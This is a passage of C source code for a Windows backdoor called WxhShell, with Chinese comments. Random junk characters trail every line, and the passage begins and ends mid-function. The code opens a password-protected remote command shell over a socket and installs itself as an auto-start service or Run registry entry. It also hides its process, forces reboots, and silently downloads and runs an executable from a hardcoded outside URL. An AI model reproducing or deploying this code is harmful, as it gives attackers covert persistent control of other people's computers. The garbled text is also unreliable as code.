    if(Boot(SHUTDOWN)) !NkCki"W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xa?O)Bq.  
    else { pX?3inQP%(  
    closesocket(wsh); }|Mwv $`  
    ExitThread(0); *_o(~5w-K  
    } kzDN(_<1  
    break; HdJ g  
    } %BP>,E/w  
  // 获取shell k[;)/LfhS  
  case 's': { <\u3p3"[4  
    CmdShell(wsh); IrqM_OjC  
    closesocket(wsh); D5D *$IC  
    ExitThread(0); @we1#Vz.  
    break; Mz p<s<BX  
  } 7MLLx#U  
  // 退出 '#V@a  
  case 'x': { [49Cvde^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7RL J  
    CloseIt(wsh); MQ-u9=ys  
    break; {;c'@U  
    } N8{jvat  
  // 离开 '\tI|  
  case 'q': { cR/Nl pX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jTvcKm|q  
    closesocket(wsh); Gl1XRNy C  
    WSACleanup(); *;Mi/^pzK  
    exit(1); |'nQvn:{  
    break; < $0is:]  
        } 4a+gM._+O  
  } b-sN#'TDg  
  } Pwl*5/l  
` 3qf}=Z`  
  // 提示信息 <m]0!ii  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d-D,Gx]>$  
} yx :^*/  
  } fY[Fwjj3  
(?7=,A7^  
  return; ^w60AqR8  
} HcsV q+  
j|k/&q[St  
// shell模块句柄 1 :p'  
int CmdShell(SOCKET sock) ew~Z/ A   
{ >v.f H6P,}  
STARTUPINFO si; c\{N:S>  
ZeroMemory(&si,sizeof(si)); ` kT\V'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *c$[U{Px  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EfrQ~`\  
PROCESS_INFORMATION ProcessInfo; mH&7{2r  
char cmdline[]="cmd"; 73;Y(uh9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q[biy{(b8  
  return 0; L 0fe  
} .B:ZyTI  
K381B5_h  
// 自身启动模式 uL`#@nI  
int StartFromService(void) SIJ7Y{\.  
{ f+cb83}n]  
typedef struct Fv pU]  
{ ^l!SIu  
  DWORD ExitStatus;   3%kUj  
  DWORD PebBaseAddress; 4>*=q*<V5E  
  DWORD AffinityMask; .| 4P :r  
  DWORD BasePriority; '[ t.  
  ULONG UniqueProcessId; ,a?)O6?/  
  ULONG InheritedFromUniqueProcessId; gjDNl/r/  
}   PROCESS_BASIC_INFORMATION; MA`nFkVK  
z1mB Hz6  
PROCNTQSIP NtQueryInformationProcess; A@}5'LzL  
J\L'HIs  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %Jt35j@Ee  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nqj(V  
IzpE|8l  
  HANDLE             hProcess; EZ)b E9  
  PROCESS_BASIC_INFORMATION pbi; An. A1y  
xE:jcA d$}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1=R$ RI  
  if(NULL == hInst ) return 0; 4=L>  
L|CdTRgRCB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kpgA2u7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n/_q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .G{cx=;  
3K &637  
  if (!NtQueryInformationProcess) return 0; ys9:";X;}  
>dl5^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4YfM.~ 6  
  if(!hProcess) return 0; T+Z[&|  
J4T"O<i$58  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ieZ$@3#&z  
u#76w74  
  CloseHandle(hProcess); B$ eM  
.4zzPD$1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .-Lrrk)R+  
if(hProcess==NULL) return 0; >v+1 v  
a !VWWUTm?  
HMODULE hMod; 0/R;g~q@  
char procName[255]; f .O^R~,  
unsigned long cbNeeded; Kb%Y%j  
=X R~I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MB)<@.A0  
)U %`7(bN  
  CloseHandle(hProcess); wL0[Slf}  
{`!6w>w0  
if(strstr(procName,"services")) return 1; // 以服务启动 \3JCFor/  
d{S'6*`D  
  return 0; // 注册表启动 c4fH/-  
} cp`J ep<T  
1>Sfv|ZP,  
// 主模块 )'+[,z ;s  
int StartWxhshell(LPSTR lpCmdLine) 2;v:Z^&  
{ aopPv&jY  
  SOCKET wsl; 5P!ZGbG  
BOOL val=TRUE; +e{ui +  
  int port=0; fd'kv  
  struct sockaddr_in door; +``vnC  
rCPIz<  
  if(wscfg.ws_autoins) Install(); %'KRbY  
\?n6l7*t>  
port=atoi(lpCmdLine); ]Y [N=G  
:nIMZRJ_!E  
if(port<=0) port=wscfg.ws_port; h#YO;m2wd  
RTmp$lV  
  WSADATA data; NXOXN]=c<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %~Yo{4mHs  
8_%GH}{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "'v+*H 3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,JwX*L<:  
  door.sin_family = AF_INET; kLgkUck8]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~0PzRS^o  
  door.sin_port = htons(port); 4/(#masIL  
v`|]57?A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wpZ"B+oK!  
closesocket(wsl); nah?V" ?Y  
return 1; [%K6-\S  
} ^% f8JoB  
SJiQg-+<Uf  
  if(listen(wsl,2) == INVALID_SOCKET) { ?Bu*%+  
closesocket(wsl); |+Wn5iT  
return 1; Q:P)g#suc  
} {"]!zL  
  Wxhshell(wsl); V lx.C~WYn  
  WSACleanup(); O\<zQ2m  
'Ix@<$~i3F  
return 0; j@4MV^F2c  
: #a  
} ZxtO.U2  
v< P0f"GH  
// 以NT服务方式启动 UBL{3s^"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z1fY' f  
{ Wc@ ,#v  
DWORD   status = 0; X.<3 /  
  DWORD   specificError = 0xfffffff; f"7MYw\  
f\R_a/Us  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PMsb"=Ds  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !=YEhQ-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c0o]O[  
  serviceStatus.dwWin32ExitCode     = 0; .=eEuH  
  serviceStatus.dwServiceSpecificExitCode = 0;  dfFw6R  
  serviceStatus.dwCheckPoint       = 0; i|{psA  
  serviceStatus.dwWaitHint       = 0; 1hw.gn*JK>  
XZ%[;[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HGYTh"R  
  if (hServiceStatusHandle==0) return; >az~0PeEL  
=][ )|n  
status = GetLastError(); RI*n]HNgy+  
  if (status!=NO_ERROR) 5 tKgm/  
{ _*H Hdd5I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Pg}QRCB@  
    serviceStatus.dwCheckPoint       = 0; 1o&zA<+NY  
    serviceStatus.dwWaitHint       = 0; xN*k&!1&  
    serviceStatus.dwWin32ExitCode     = status; $.D )Llcq  
    serviceStatus.dwServiceSpecificExitCode = specificError; qWH^/o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :E-$:\V0}k  
    return; @XJ7ff&  
  } %np(z&@wi  
"s|P,*Xf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K+)3 LR^  
  serviceStatus.dwCheckPoint       = 0; 6,5h4[eF*  
  serviceStatus.dwWaitHint       = 0; o}Grb/LJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /xUF@%rT  
} S TWH2_`  
VzXVy)d  
// 处理NT服务事件,比如:启动、停止 c!E{fSP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bse`Xfg  
{ dU9;sx  
switch(fdwControl) y#a,d||N1  
{ FO/cEu  
case SERVICE_CONTROL_STOP: Movm1*&=  
  serviceStatus.dwWin32ExitCode = 0; -+[Lc_oNPx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sUlf4<_zW  
  serviceStatus.dwCheckPoint   = 0; z-MQGq xR  
  serviceStatus.dwWaitHint     = 0; ,f^fr&6jb  
  { 8=$XhC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,marNG  
  } 85!]N F  
  return; Jk%5Fw0  
case SERVICE_CONTROL_PAUSE: |fKT@2(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4^r6RS@z  
  break; =Xvm#/  
case SERVICE_CONTROL_CONTINUE: sl-wNIQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OH06{I>;  
  break; Lk|`\I T  
case SERVICE_CONTROL_INTERROGATE: f+9WGNpw  
  break; E"'u2jEG^  
}; -Kg.w*\H7/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9 C)VW  
} J&j5@  
EPJ>@A>;D  
// 标准应用程序主函数 `V9bd}M%~;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H<|}p Z  
{ (-$5YKm  
bVz<8b6h'-  
// 获取操作系统版本 ~qZ6I)?  
OsIsNt=GetOsVer(); [;{xiW4V]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I=dn]}b#P  
{d<XDx4`  
  // 从命令行安装 qR aPh:Q'  
  if(strpbrk(lpCmdLine,"iI")) Install(); kxKb}> =  
X'b3CS4  
  // 下载执行文件 6:wk=#w  
if(wscfg.ws_downexe) { j_5&w Znq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x:0swZ5Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); AM=> P 7  
} k6"(\d9o  
Pm6U:RL  
if(!OsIsNt) { Aa_@&e  
// 如果时win9x,隐藏进程并且设置为注册表启动 :rM2G@{  
HideProc(); +F q_w  
StartWxhshell(lpCmdLine); U%pB  
} YCE *Dm  
else 7vXP|8j  
  if(StartFromService()) f/c&Ya(D~  
  // 以服务方式启动 +%j27~ R>D  
  StartServiceCtrlDispatcher(DispatchTable); d BB?A~  
else EC5 = 2w<  
  // 普通方式启动 ^;ZpK@Luk  
  StartWxhshell(lpCmdLine); q]yw",muT  
t]0DT_iE  
return 0; $1B?@~&  
} OD7^*j(p`  
#lMcAYH,  
bD=H$)  
i7- i!`<  
=========================================== @]IRB1X  
Xg]Cq"RJC  
Rd7U5MBEF  
I4%kYp]  
C) R hld  
y;CX )!8  
" pYzop4  
dhA~Yu  
#include <stdio.h> 2]?=\_T  
#include <string.h> ,\iXZ5"R  
#include <windows.h> UUDHknm"  
#include <winsock2.h> kh# QT_y  
#include <winsvc.h> iJE:>qOTD5  
#include <urlmon.h> { i6L/U.  
} r(b:}DN  
#pragma comment (lib, "Ws2_32.lib") ;^bfLSWm{  
#pragma comment (lib, "urlmon.lib") &xB*Shp,B  
IV!`~\@  
#define MAX_USER   100 // 最大客户端连接数 a9;KS>~bq  
#define BUF_SOCK   200 // sock buffer OQfFS+6  
#define KEY_BUFF   255 // 输入 buffer hFm^Fy[R  
~C^:SND7  
#define REBOOT     0   // 重启 Z8Ig,  
#define SHUTDOWN   1   // 关机 f6K.F  
vGlVr.)  
#define DEF_PORT   5000 // 监听端口 (/<Nh7C1c  
6QA`u*  
#define REG_LEN     16   // 注册表键长度 ^%zhj3#  
#define SVC_LEN     80   // NT服务名长度 /d}"s.3p  
RHBQgD$  
// 从dll定义API &-qQF`7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m W>Iib|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >v, si].  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pl3ap(/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Lu6g`O:['  
JDR_k  
// wxhshell配置信息 N,K/Ya)1  
struct WSCFG { hsrf2Xw[  
  int ws_port;         // 监听端口 OFtf)cGE  
  char ws_passstr[REG_LEN]; // 口令 M5w/TN  
  int ws_autoins;       // 安装标记, 1=yes 0=no =K0%bI  
  char ws_regname[REG_LEN]; // 注册表键名 gIz!~I_U  
  char ws_svcname[REG_LEN]; // 服务名 V'{\g|)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 MhCU; !  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9MfU{4:;I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 SWx: -<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nl 'MWP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #0T/^ #  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FHU6o910  
V:L%GWU  
}; bKmwXDv'  
V6P-?Nd  
// default Wxhshell configuration ;<Z6Y3>I8  
struct WSCFG wscfg={DEF_PORT, k*)sz  
    "xuhuanlingzhe", T4wk$R L  
    1, \\\8{jq  
    "Wxhshell", B2j1G JEO  
    "Wxhshell", f0SrPc v  
            "WxhShell Service", ;x\oY6:  
    "Wrsky Windows CmdShell Service", e^\e;>Dh>  
    "Please Input Your Password: ", sq`Xz 8u  
  1, i:aW .QZ.  
  "http://www.wrsky.com/wxhshell.exe", :sg}e  
  "Wxhshell.exe" T%)E!:}v  
    }; 7xeqs q  
NCkI[d]B@  
// 消息定义模块 :K^J bQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?Q-Tyf$3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^C'0Y.H S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :+Ukwno?/  
char *msg_ws_ext="\n\rExit."; 1V1I[CxlX  
char *msg_ws_end="\n\rQuit."; 70 7( LG  
char *msg_ws_boot="\n\rReboot..."; TC/c5:)]  
char *msg_ws_poff="\n\rShutdown..."; Oh$:qu7o0&  
char *msg_ws_down="\n\rSave to "; D`WRy}o  
|~BnE  
char *msg_ws_err="\n\rErr!"; {7goYzQsi%  
char *msg_ws_ok="\n\rOK!"; ?yS1|CF%&y  
0i_:J  
char ExeFile[MAX_PATH]; iv$YUM+  
int nUser = 0; ffmtTJFC5  
HANDLE handles[MAX_USER];  eo9/  
int OsIsNt; ~I5hV}ZT  
~)ys,Q  
SERVICE_STATUS       serviceStatus; m@Yc&M~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &kIeW;X  
t>cGfA  
// 函数声明 :Mu*E5  
int Install(void); swF{}S"  
int Uninstall(void); t 6nRg  
int DownloadFile(char *sURL, SOCKET wsh); P'U2hCif  
int Boot(int flag); x>[]Qk^?q  
void HideProc(void); k B>F(^  
int GetOsVer(void); G@H!D[wd  
int Wxhshell(SOCKET wsl); |2q3spd  
void TalkWithClient(void *cs); A0)^I:&  
int CmdShell(SOCKET sock); f zo'9  
int StartFromService(void); h) Wp  
int StartWxhshell(LPSTR lpCmdLine); =Hd yra  
PoF3fy%.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _h!.gZB3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N;|^C{uz  
sWYnoRxu  
// 数据结构和表定义 TsTc3  
SERVICE_TABLE_ENTRY DispatchTable[] = !CYC7HeF  
{ ,_3hbT8Q  
{wscfg.ws_svcname, NTServiceMain}, tz@MZs09  
{NULL, NULL} 1.!U{>$  
}; }9S}?R  
0y9 b0G  
// 自我安装 p' >i3T(  
int Install(void) q ;'f3Y  
{ |GnTRahV.  
  char svExeFile[MAX_PATH]; uatUo  
  HKEY key; yU v YV-7  
  strcpy(svExeFile,ExeFile); 4 ThFC  
~w>h#{RB  
// 如果是win9x系统,修改注册表设为自启动 ;>?h/tS6  
if(!OsIsNt) { Ki;SONSV~|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nQc#AFg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @yuiNj .T  
  RegCloseKey(key); bT.q@oU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gN=.}$Kfu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ym6d'd<9(  
  RegCloseKey(key); 9wWBE<}>u  
  return 0; p u(mHB  
    } F^O83[S  
  } ~ 29p|X<  
} !&VfOx:PN  
else { Q7865  
*HKw;I   
// 如果是NT以上系统,安装为系统服务 W" 5nS =d%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7QsD"rL  
if (schSCManager!=0) @gI1:-chB  
{ NHGTV$T`1  
  SC_HANDLE schService = CreateService L|'^P3#7`  
  ( >pU9}2fpT  
  schSCManager, I/dy^5@F  
  wscfg.ws_svcname, !ZBtXt#P  
  wscfg.ws_svcdisp, [C "\]LiX  
  SERVICE_ALL_ACCESS, 3$\k=q3`#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &N7ji  
  SERVICE_AUTO_START, ?"d$SK"6Z  
  SERVICE_ERROR_NORMAL, IP62|~Ap  
  svExeFile, YQ+hQ:4-  
  NULL, "}]$ag!`q$  
  NULL, &~,4$& _  
  NULL, Cu[-<>my  
  NULL, g":[rXvId  
  NULL R+M&\ 5  
  ); T D _@0Rd  
  if (schService!=0)  z:,PwLU  
  { eM5?fE&!&  
  CloseServiceHandle(schService); Zzlf1#26\  
  CloseServiceHandle(schSCManager); ~ nsb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^po@U"  
  strcat(svExeFile,wscfg.ws_svcname); .Nn11F< d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HxG8 'G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R?xb1yc7_  
  RegCloseKey(key); =gB5JB<}2  
  return 0; ^|Q]WHNFB  
    } ":Wq<Z'  
  } kWzN {]v  
  CloseServiceHandle(schSCManager); jm^.E\_  
} |YJ83nSO~  
} ]O@$}B];)  
qLN\%}69/  
return 1; &R94xh%@(  
} 9njl,Q:  
"z~ba>,-\  
// 自我卸载 ux;?WPyr  
int Uninstall(void) [^5\Ww  
{ v 4ot08 C  
  HKEY key; V0nQmsP1U  
$T'!??|IF  
if(!OsIsNt) { 6Z2,:j;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0t <nH%N}^  
  RegDeleteValue(key,wscfg.ws_regname); $83B10OQ&L  
  RegCloseKey(key); '/W$9jm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8|a./%gixs  
  RegDeleteValue(key,wscfg.ws_regname); 3A7774n=P  
  RegCloseKey(key); C 0w+ j  
  return 0; lE:g A,  
  } #oUNF0L@6  
} VeoG[Jl  
} zCx4DN`  
else { 4<efj  
/)P}[Q4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]{>AU^=U  
if (schSCManager!=0) h@:K=gg K  
{ Zj`WRH4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :D.0\.p  
  if (schService!=0) z|l*5@p  
  { + ?1GscJ   
  if(DeleteService(schService)!=0) { 8Lo#{`  
  CloseServiceHandle(schService); j|eA*UE  
  CloseServiceHandle(schSCManager); *r7v Dc  
  return 0; 1\.$=N  
  } f-b],YE  
  CloseServiceHandle(schService); ,?fJ0n:!%  
  } u^80NR  
  CloseServiceHandle(schSCManager); hx;f/E Px  
} OrY[  
} ^Co-!jM  
Zi!Ta"}8  
return 1; 8K 3dwoT  
} M([#Py9h  
(Fv tL*  
// 从指定url下载文件 xs$$fPAQ  
int DownloadFile(char *sURL, SOCKET wsh) n<I{x^!  
{ iG N\ >m}  
  HRESULT hr; _fGTTw(  
char seps[]= "/"; 4fEDg{T  
char *token; bzg C+yT  
char *file; pfA6?tP`  
char myURL[MAX_PATH]; zw0w."V  
char myFILE[MAX_PATH]; 7>vm?a^D2&  
*H>rvE.K?  
strcpy(myURL,sURL); u;#]eUk9}  
  token=strtok(myURL,seps); !rvEo =^  
  while(token!=NULL) ~wc :/UM|  
  { uV/5f#)  
    file=token; V~J5x >O  
  token=strtok(NULL,seps); qQ&uU7,#  
  } p?@ %/!S  
@mp`C}x"0&  
GetCurrentDirectory(MAX_PATH,myFILE); je4l3Hl  
strcat(myFILE, "\\"); bDI%}k9#  
strcat(myFILE, file);  6@S6E(^  
  send(wsh,myFILE,strlen(myFILE),0); :2 ;Jo^6Se  
send(wsh,"...",3,0); KyvZ? R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Tb/TP3N  
  if(hr==S_OK) .])prp8  
return 0; NFK`,  
else eI #Gx_mg  
return 1; 7R+(3NU1A  
6b|?@  
} 8)i""OD@I  
|{jT+  
// 系统电源模块 Jd2.j?P=  
int Boot(int flag) s27IeF3  
{ r~w.J+W  
  HANDLE hToken; 39pG-otJ  
  TOKEN_PRIVILEGES tkp; L * n K> +  
k ;WD[SV  
  if(OsIsNt) { /?\3%<vn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); G dgL}"*F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F MfpjuHk  
    tkp.PrivilegeCount = 1; Hvl n>x@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Wboh2:TH:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k4TWfl^}9  
if(flag==REBOOT) { D:)Wr, 26  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cs9^&N:w[  
  return 0; ]BQYVx/  
} r-2k<#^r  
else { s0kp(t!fiu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gT+/nSrLV  
  return 0; V7ph^^sC}  
} : Mf"   
  } a QH6akH  
  else { #el27"QP0  
if(flag==REBOOT) { Fe+ @;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M[uWX=  
  return 0; z\YIwrq3*  
} x3@-E  
else { oFY!NMq}:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ON?Y Df  
  return 0; D$>_W,*V  
} jYsAL=oh,*  
} c/{FDN  
>.h:Y5  
return 1; Fsx?(?tCMo  
} 4 1_gak;  
*O?c~UJhhV  
// win9x进程隐藏模块 tAX* CMW  
void HideProc(void) rS8a/d~;0  
{ &)eg3P)7  
+)]YvZ6%[,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R>Ra~ b  
  if ( hKernel != NULL ) 9KSi-2?H  
  { g7oY1;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %H{p&ms  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z$oy;j99y  
    FreeLibrary(hKernel); h}bfZL  
  } E?m~DYnU  
q76POytV|  
return;  cby#  
} i`,FXF)  
"S#F I  
// 获取操作系统版本 ^?z%f_ri  
int GetOsVer(void) 8hRcB[F~S  
{ Zg;$vIhn  
  OSVERSIONINFO winfo; f60w%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Iv`IJQH>  
  GetVersionEx(&winfo); 8:cbr/F<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H= dIZ  
  return 1; 5&Oc`5QD  
  else 4aayMS !#  
  return 0; Hl*vS  
} Cu"Cpt[  
.nV2 n@SR  
// 客户端句柄模块 ZWs   
int Wxhshell(SOCKET wsl) Iq$| ?MH  
{ CB@7XUR  
  SOCKET wsh; :qYp%Ub  
  struct sockaddr_in client; ~zp8%lEe  
  DWORD myID; "TRS(d|3  
^:nc'C gP  
  while(nUser<MAX_USER) Ts iJK  
{ OATdmHW  
  int nSize=sizeof(client); R!nf^*~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1/_g36\l$  
  if(wsh==INVALID_SOCKET) return 1;  7WJ \nK  
j0=6B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {>&~kM@  
if(handles[nUser]==0) 'r;mm^cS?  
  closesocket(wsh); O"m7r ds  
else igO>)XbsM  
  nUser++; MDMd$] CW  
  } Lx"GBEkt7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lH-VqkR\  
)m%uSSx#  
  return 0; %1z;l.c  
} MqmQ52HR  
Z:4/lx7Bq  
// 关闭 socket ,GbmL8P7Y  
void CloseIt(SOCKET wsh)  56.!L  
{ 0RR|!zEu  
closesocket(wsh); m_NX[>&Y3  
nUser--; 8f@}-  
ExitThread(0); .?>Cav9:  
} ldv@C6+J  
L3&Ys3-h  
// 客户端请求句柄 ^BsT>VSH6  
void TalkWithClient(void *cs) *dBy<dIy  
{ 3bEcKA_z(  
y]9R#\P/  
  SOCKET wsh=(SOCKET)cs; =j7Du[?Vu  
  char pwd[SVC_LEN]; dab]>% M  
  char cmd[KEY_BUFF]; ]>3Y~KH(  
char chr[1]; w,{h9f  
int i,j; 6j E.X  
&OR(]Wt0  
  while (nUser < MAX_USER) { N['DqS =  
43=v2P0=Tj  
if(wscfg.ws_passstr) { !pU$'1D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fI.|QD*$b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bWPsfUn#  
  //ZeroMemory(pwd,KEY_BUFF); z 4u&#.bU  
      i=0; <T 2O^  
  while(i<SVC_LEN) { x6ghO-s  
{QG.> lB  
  // 设置超时 a`O'ZY  
  fd_set FdRead; .jrNi=BP*  
  struct timeval TimeOut; .#EU@Hc  
  FD_ZERO(&FdRead); -FeXG#{)  
  FD_SET(wsh,&FdRead); <z Gh}.6v  
  TimeOut.tv_sec=8; R >xd*A  
  TimeOut.tv_usec=0; Y;'<u\^M"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A U~DbU0O  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ( eV,f  
*&U~Io"U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *>fr'jj1$  
  pwd=chr[0]; >hunV'vu'  
  if(chr[0]==0xd || chr[0]==0xa) { +Z`=iia>  
  pwd=0; y6(PG:L  
  break; r. 82RoG?G  
  } E@}F^0c  
  i++; ?Uql 30A  
    } $5nMD=   
_!xrBdaJ  
  // 如果是非法用户,关闭 socket IZVP-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z |$#  
} ?sfqg gi  
O&!R7T  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Tigw+2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6St=r)_  
|Xt G9A>  
while(1) { xAm tm"  
X[Y0r  
  ZeroMemory(cmd,KEY_BUFF); |}zWH=6  
%m&6'Rpfk  
      // 自动支持客户端 telnet标准   {C |R@S  
  j=0; "*vrrY  
  while(j<KEY_BUFF) { q,v<:sS9T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /wD f,Hduz  
  cmd[j]=chr[0]; #W\}v(Ke  
  if(chr[0]==0xa || chr[0]==0xd) { ]b- 2:M  
  cmd[j]=0; =Rd`"]Mnfb  
  break; |q`NJ  
  } :EX>Y<`]  
  j++; OqtGKda  
    } _i_='dsyW/  
j~v`q5X  
  // 下载文件 *)m:u:   
  if(strstr(cmd,"http://")) { )uqzu%T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +p 6Ty2rz  
  if(DownloadFile(cmd,wsh)) c5]Xqq,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H cmW  
  else \,R;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #XQ/y}(  
  } 7F<{ Qn  
  else { Hq.rG-,p  
eV7;#w<]  
